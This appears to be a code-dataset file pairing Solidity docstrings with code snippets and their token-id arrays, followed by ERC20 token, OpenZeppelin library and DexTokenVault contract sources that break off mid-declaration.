pseudo code } function _hashIts() internal { // hash historical It addresses } }
* @dev Hook that is called before any token transfer. This includes minting and burning. Calling conditions: - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be transferred to `to`. - When `from` is zero, `tokenId` will be minted for `to`. - When `to` is zero, ``from``'s `tokenId` will be burned. - `from` and `to` are never both zero. To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]./
function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { if(previousIt != address(0)) { _sendReward(); _hashIts(); _mintHistoricalIT(); } previousIt = from; previousTag = block.timestamp; }
1,043,472
[ 1, 5394, 716, 353, 2566, 1865, 1281, 1147, 7412, 18, 1220, 6104, 312, 474, 310, 471, 18305, 310, 18, 21020, 4636, 30, 300, 5203, 1375, 2080, 68, 471, 1375, 869, 68, 854, 3937, 1661, 17, 7124, 16, 12176, 2080, 10335, 11, 87, 1375, 2316, 548, 68, 903, 506, 906, 4193, 358, 1375, 869, 8338, 300, 5203, 1375, 2080, 68, 353, 3634, 16, 1375, 2316, 548, 68, 903, 506, 312, 474, 329, 364, 1375, 869, 8338, 300, 5203, 1375, 869, 68, 353, 3634, 16, 12176, 2080, 10335, 11, 87, 1375, 2316, 548, 68, 903, 506, 18305, 329, 18, 300, 1375, 2080, 68, 471, 1375, 869, 68, 854, 5903, 3937, 3634, 18, 2974, 16094, 1898, 2973, 9153, 16, 910, 358, 15187, 30, 9185, 30, 408, 2846, 17, 16351, 87, 18, 4539, 9940, 17, 10468, 63, 7736, 13725, 87, 8009, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 5771, 1345, 5912, 12, 203, 3639, 1758, 628, 16, 203, 3639, 1758, 358, 16, 203, 3639, 2254, 5034, 1147, 548, 203, 565, 262, 2713, 5024, 3849, 288, 203, 3639, 309, 12, 11515, 7193, 480, 1758, 12, 20, 3719, 288, 203, 5411, 389, 4661, 17631, 1060, 5621, 203, 5411, 389, 2816, 45, 3428, 5621, 203, 5411, 389, 81, 474, 8648, 10129, 1285, 5621, 203, 3639, 289, 203, 203, 3639, 2416, 7193, 273, 628, 31, 203, 3639, 2416, 1805, 273, 1203, 18, 5508, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.23; /* all this file is based on code from open zepplin * https://github.com/OpenZeppelin/zeppelin-solidity/tree/master/contracts/token */ /** * Standard ERC20 token * * Based on code by FirstBlood: * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ /** * Math operations with safety checks */ library SafeMath { function mul(uint a, uint b) internal pure returns (uint) { uint c = a * b; require(a == 0 || c / a == b); return c; } function div(uint a, uint b) internal pure returns (uint) { require(b > 0); uint c = a / b; require(a == b * c + a % b); return c; } function sub(uint a, uint b) internal pure returns (uint) { require(b <= a); return a - b; } function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; require(c >= a); return c; } function max64(uint64 a, uint64 b) internal pure returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal pure returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } } //////////////////////////////////////////////////////////////////////////////// /* * ERC20Basic * Simpler version of ERC20 interface * see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20Basic { uint public totalSupply; function balanceOf(address who) public view returns (uint); function transfer(address _to, uint _value) public returns (bool success); event Transfer(address indexed from, address indexed to, uint value); } //////////////////////////////////////////////////////////////////////////////// /* * ERC20 interface * see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint); function transferFrom(address from, address to, uint value) public returns(bool); function approve(address spender, uint value) public returns(bool); event Approval(address indexed owner, address indexed spender, uint value); } //////////////////////////////////////////////////////////////////////////////// /* * Basic token * Basic version of StandardToken, with no allowances */ contract BasicToken is ERC20Basic { using SafeMath for uint; mapping(address => uint) balances; /* * Fix for the ERC20 short address attack */ modifier onlyPayloadSize(uint size) { if (msg.data.length < size + 4) { revert(); } _; } function transfer(address _to, uint _value) public onlyPayloadSize(2 * 32) returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); success = true; } function balanceOf(address _owner) public view returns (uint balance) { return balances[_owner]; } } //////////////////////////////////////////////////////////////////////////////// /** * Standard ERC20 token * * https://github.com/ethereum/EIPs/issues/20 * Based on code by FirstBlood: * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is BasicToken, ERC20 { mapping (address => mapping (address => uint)) allowed; function transferFrom(address _from, address _to, uint _value) public returns (bool) { uint _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already revert if this condition is not met if (_value > _allowance) revert(); balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public returns(bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint remaining) { return allowed[_owner][_spender]; } } //////////////////////////////////////////////////////////////////////////////// /* * SimpleToken * * Very simple ERC20 Token example, where all tokens are pre-assigned * to the creator. Note they can later distribute these tokens * as they wish using `transfer` and other `StandardToken` functions. */ contract TestToken is StandardToken { string public name = "Test"; string public symbol = "TST"; uint public decimals = 18; uint public INITIAL_SUPPLY = 10**(50+18); constructor(string _name, string _symbol, uint _decimals) public { totalSupply = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; name = _name; symbol = _symbol; decimals = _decimals; } event Burn(address indexed _burner, uint _value); function burn(uint _value) public returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(msg.sender, _value); emit Transfer(msg.sender, address(0x0), _value); return true; } // save some gas by making only one contract call function burnFrom(address _from, uint256 _value) public returns (bool) { transferFrom(_from, msg.sender, _value); return burn(_value); } }
ERC20Basic Simpler version of ERC20 interface/
contract ERC20Basic { uint public totalSupply; function balanceOf(address who) public view returns (uint); function transfer(address _to, uint _value) public returns (bool success); event Transfer(address indexed from, address indexed to, uint value); }
12,854,120
[ 1, 654, 39, 3462, 8252, 9587, 20728, 1177, 434, 4232, 39, 3462, 1560, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 4232, 39, 3462, 8252, 288, 203, 565, 2254, 1071, 2078, 3088, 1283, 31, 203, 565, 445, 11013, 951, 12, 2867, 10354, 13, 1071, 1476, 1135, 261, 11890, 1769, 203, 565, 445, 7412, 12, 2867, 389, 869, 16, 2254, 389, 1132, 13, 1071, 1135, 261, 6430, 2216, 1769, 203, 565, 871, 12279, 12, 2867, 8808, 628, 16, 1758, 8808, 358, 16, 2254, 460, 1769, 203, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2022-04-24 */ /** *Submitted for verification at BscScan.com on 2021-06-02 */ // File: @openzeppelin/contracts/utils/Context.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol pragma solidity >=0.6.0 <0.8.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: @openzeppelin/contracts/utils/Pausable.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() internal { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // File: contracts/interfaces/IMasterBuilder.sol pragma solidity 0.6.12; interface IMasterBuilder { function deposit(uint256 _pid, uint256 _amount) external; function withdraw(uint256 _pid, uint256 _amount) external; function enterStaking(uint256 _amount) external; function leaveStaking(uint256 _amount) external; function pendingDexToken(uint256 _pid, address _user) external view returns (uint256); function userInfo(uint256 _pid, address _user) external view returns (uint256, uint256); function emergencyWithdraw(uint256 _pid) external; } // File: contracts/DexTokenVault.sol pragma solidity 0.6.12; contract DexTokenVault is Ownable, Pausable { using SafeERC20 for IERC20; using SafeMath for uint256; struct UserInfo { uint256 shares; // number of shares for a user uint256 lastDepositedTime; // keeps track of deposited time for potential penalty uint256 dexTokenAtLastUserAction; // keeps track of DexToken deposited at the last user action uint256 lastUserActionTime; // keeps track of the last user action time } IERC20 public immutable token; // DexToken token IERC20 public immutable receiptToken; // Syrup token IMasterBuilder public immutable masterBuilder; mapping(address => UserInfo) public 